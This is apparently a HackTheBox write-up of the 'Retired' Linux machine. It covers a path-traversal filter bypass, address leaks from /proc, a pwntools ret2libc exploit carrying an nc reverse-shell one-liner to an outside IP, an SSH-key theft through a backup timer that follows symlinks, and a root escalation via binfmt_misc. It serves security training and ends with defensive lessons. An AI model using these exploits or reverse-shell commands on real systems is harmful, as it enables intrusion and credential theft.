HTB: Retired Writeup
Retired - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Retired |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Retired is a Medium Linux box built around a chain of realistic web and binary exploitation bugs rather than a single flashy CVE. The front-end PHP application exposes a path-traversal bypass in its own sanitization routine, which is enough on its own to read arbitrary files off disk — including the source of a second page that reveals an internal-only service listening on 127.0.0.1:1337. That same traversal primitive is then reused to exfiltrate the compiled binary behind the internal service, its libc, and — critically — its live /proc/<pid>/maps, turning a blind stack-based buffer overflow into a fully addressed ret2libc exploit despite PIE/NX/Full RELRO being enabled. From an unprivileged web shell, a scheduled backup job that zips the webroot while following symlinks hands over a second user’s SSH key. Root is reached through a misconfigured cap_dac_override helper binary that lets any local user register custom interpreters in binfmt_misc, including ones that inherit root credentials.
TL;DR: Path traversal in index.php?page= (broken single-pass str_replace filter) → leak activate_license.php source → discover internal service on 127.0.0.1:1337 → traversal-download the activate_license binary + libc + /proc/sched_debug + /proc/<pid>/maps → stack buffer overflow (offset 520) → ret2libc RCE as www-data → symlink attack on website_backup.timer → steal dev’s SSH key → user.txt → abuse cap_dac_override reg_helper to register a root-credentialed binfmt_misc handler → root.txt.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.XResults:
22/tcp— OpenSSH 8.4p1 (Debian)80/tcp— nginx + PHP application (index.php?page=router)
Service Enumeration
The web application on port 80 routes content through a page GET parameter (index.php?page=<file>), which reads and displays local files server-side. A second page, reached through the same router, exposed a license-activation form that submits an uploaded file to activate_license.php.
Vulnerability Assessment
- Arbitrary file read via path traversal —
index.php’spageparameter is filtered with a naive, single-passstr_replace("../","")/str_replace("./",""), which is trivially defeated by overlapping sequences (no CVE assigned — custom application logic flaw). - Internal-only service exposed indirectly —
activate_license.phpforwards uploaded file contents to an unauthenticated backend service bound to127.0.0.1:1337, reachable only through the web app. - Unbounded stack read in
activate_license— the backend binary reads an attacker-controlled length prefix and then reads that many bytes into a fixed 512-byte stack buffer with no bounds check: a classic stack-based buffer overflow. The binary was compiled with PIE, NX, and Full RELRO, but no stack canary.
Initial Foothold
Exploitation Path
1. Bypass the traversal filter.
sanitize_input() strips only the first occurrence of ../ and ./ from the input, in that order. Feeding it an overlapping string like a.....///... collapses under each str_replace pass into a working ../, so directory traversal still succeeds even though the naive blacklist looks correct at a glance:
# a.....///... -> (strip "../") -> a...//. -> (strip "./") -> ../curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///etc/passwd"Because the router uses readfile() rather than include(), this is a pure arbitrary-file-read primitive, not LFI — no PHP code execution from this step alone.
2. Leak the backend integration.
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///activate_license.php"The source shows activate_license.php reading the uploaded licensefile, prefixing its length as a 4-byte big-endian integer, and forwarding both over a raw TCP socket to 127.0.0.1:1337 — an internal service with no direct network exposure of its own.
3. Pull the backend binary and its libc off disk.
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///usr/bin/activate_license" -o activate_licensecurl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-2.31.so" -o libc-2.31.sochmod +x activate_licenseChecksec confirms PIE, NX, and Full RELRO are enabled — but no stack canary, meaning a stack-based overflow can overwrite the saved return address directly without first defeating a canary check.
4. Leak the live PID without brute-forcing.
Full-PID brute force against a forking service is slow and noisy. /proc/sched_debug lists every scheduled task with its PID, and is readable through the same traversal bug:
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///proc/sched_debug" | grep activate# -> activate_license 400 ...PID 400 identified.
5. Leak the runtime base addresses.
curl "http://10.10.11.X/index.php?page=a.....///.....///.....///.....///.....///proc/400/maps"Because activate_license is a forking server (the parent stays resident and each connection is handled by a child that shares the same mapped bases), the leaked bases stay valid across connections:
actbase = 0x55a89521f000libcbase = 0x7f3a27b5e000
6. Confirm the overflow and find the offset.
Reversing activate_license() shows the length-prefixed read() filling a 512-byte stack buffer with no size check against msglen. Testing a cyclic pattern against a local copy of the binary in gdb pinpointed the saved-RIP overwrite at offset 520 bytes.
7. Build the ret2libc payload.
With ASLR effectively defeated by the leaked bases, and NX ruling out stack shellcode, the exploit pivots to ret2libc: write a reverse-shell command string into a writable .data region using pop rdi / pop rdx / mov [rdi], rdx gadgets (chained 8 bytes at a time), then transfer control to system().
#!/usr/bin/env python3from pwn import *import requests
# bases leaked from /proc/400/maps via the traversal bugactbase = 0x55a89521f000libcbase = 0x7f3a27b5e000
pop_rdi = p64(actbase + POP_RDI_OFF) # pop rdi; retpop_rdx = p64(libcbase + POP_RDX_OFF) # pop rdx; retmov = p64(libcbase + MOV_OFF) # mov qword ptr [rdi], rdx; retsystem = p64(libcbase + SYSTEM_OFF)
offset = 520writable = actbase + WRITABLE_OFF # writable .data region
cmd = b"bash -c 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.180 7777 >/tmp/f'\x00"
rop = b"A" * offsetfor i in range(0, len(cmd), 8): rop += pop_rdi + p64(writable + i) rop += pop_rdx + cmd[i:i+8].ljust(8, b"\x00") rop += movrop += pop_rdi + p64(writable) + system
# length-prefixed upload through activate_license.php -> internal :1337 servicefiles = {"licensefile": ("payload.key", rop, "application/octet-stream")}requests.post("http://10.10.11.X/activate_license.php", files=files)Gadget and symbol offsets were confirmed to match a locally reversed copy of the exfiltrated binary/libc before firing at the target.
nc -lnvp 7777python3 exploit.pyThe payload triggers, system() runs the reverse-shell one-liner, and a shell as www-data lands on 10.10.15.180:7777.
Privilege Escalation
www-data → dev (lateral movement)
Enumeration from the www-data shell turned up a low-privileged user dev and a systemd timer, website_backup.timer, firing a website_backup.service roughly every minute. Its unit runs /usr/bin/webbackup as dev, which zips /var/www/html into a world-readable archive under /var/www/. zip follows symbolic links by default (no --symlinks flag), and the webroot is writable by www-data.
# www-data shellln -s /home/dev /var/www/html/devWaiting for the next timer run pulled dev’s entire home directory — including .ssh/id_rsa — into the next backup zip:
# pull the freshly generated backup and extract the private keyunzip <timestamp>-html.zipchmod 600 var/www/html/dev/.ssh/id_rsassh -i var/www/html/dev/.ssh/id_rsa dev@10.10.11.Xuser.txt captured as dev.
dev → root (binfmt_misc credentials abuse)
dev’s home directory holds the source for the box’s EMUEMU project, including reg_helper — a small wrapper that writes attacker-supplied data straight to /proc/sys/fs/binfmt_misc/register. The compiled /usr/lib/emuemu/reg_helper is installed group-dev and carries the cap_dac_override file capability, so any member of dev can invoke it to register arbitrary binfmt_misc interpreters.
The Linux kernel’s binfmt_misc feature lets a registered interpreter run automatically whenever a file matching its magic bytes/extension is executed. Registering with the C (credentials) flag makes the kernel compute the resulting process’s credentials from the interpreted binary itself rather than from the file being run — so pointing that flag at a root-owned setuid binary causes the interpreter to execute with root privileges.
# minimal handler: drop to root and spawn a shellcat > handler.c <<'EOF'#include <stdlib.h>#include <unistd.h>int main(void) { setuid(0); setgid(0); system("/bin/bash");}EOFgcc -o handler handler.c
# link a root-owned setuid binary with a custom extension binfmt_misc can match onln -s /usr/bin/chfn chfn.HACKTHEBOX
# register the handler with the C (credentials) flag via the DAC-override helperecho ":HTB:E::HACKTHEBOX::$(realpath handler):C" | /usr/lib/emuemu/reg_helper
# trigger it — binfmt_misc runs `handler` with root creds./chfn.HACKTHEBOXBecause reg_helper can write to the register file regardless of ownership (courtesy of cap_dac_override), and binfmt_misc follows symlinks, this works against any local root-owned setuid binary without needing to touch it directly. root.txt captured.
Attack Chain Summary
Path traversal in index.php?page= (broken single-pass str_replace filter) → Leak activate_license.php source → internal service on 127.0.0.1:1337 → Traversal-download activate_license binary + libc-2.31.so → Leak PID via /proc/sched_debug (PID 400) → Leak base addresses via /proc/400/maps → Stack buffer overflow (offset 520) → ret2libc ROP chain → RCE as www-data → Symlink attack on website_backup.timer (zip follows symlinks, runs as dev) → Steal dev's id_rsa → SSH as dev → user.txt → Abuse cap_dac_override reg_helper → register binfmt_misc handler with C flag → Root shell via symlinked setuid binary → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Traversal-based file read/exfiltration |
gdb | Local offset discovery (cyclic pattern → saved RIP) |
objdump / ropper | Gadget and system() offset discovery in libc |
pwntools / Python | ROP chain construction, exploit delivery |
nc | Reverse shell listener |
zip / unzip | Extracting the symlink-poisoned backup archive |
ssh | Access as dev using the stolen key |
gcc | Compiling the root-credential binfmt_misc handler |
Key Learnings
Techniques Practiced
- Defeating naive, single-pass blacklist sanitization with overlapping traversal sequences
- Turning an arbitrary-file-read primitive into a full binary/libc/memory-map exfiltration channel
- Building a ret2libc exploit against a PIE/NX/Full-RELRO, no-canary binary using leaked runtime addresses
- Symlink attacks against scheduled jobs that archive/copy files without following-link protection
- Privilege escalation via
binfmt_misccredential (C) flag abuse through an overprivileged (cap_dac_override) helper binary
Lessons Learned
- Sanitization filters that only strip a pattern once are not sanitization — they’re a suggestion. Always test overlapping/nested payloads against blacklist-style filters.
- PIE and ASLR only protect a binary if attackers can’t read its memory layout. Any file-read or info-leak primitive adjacent to a network service should be treated as a potential address-leak channel, not just a confidentiality issue.
- Scheduled jobs that archive or copy attacker-writable directories must use symlink-safe flags (e.g.,
zip --symlinks,cp --no-dereference,rsync --safe-links) or run against a directory the lower-privileged process can’t write to. - File capabilities like
cap_dac_overrideare effectively “run as root for file I/O” — granting them to a helper binary that writes to a kernel-trusted interface (binfmt_misc) collapses the privilege boundary between the group it’s exposed to and root.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- polarbearer, Retired — Official HackTheBox Writeup (Document No. D22.100.193), Machine Author: uco2KFh.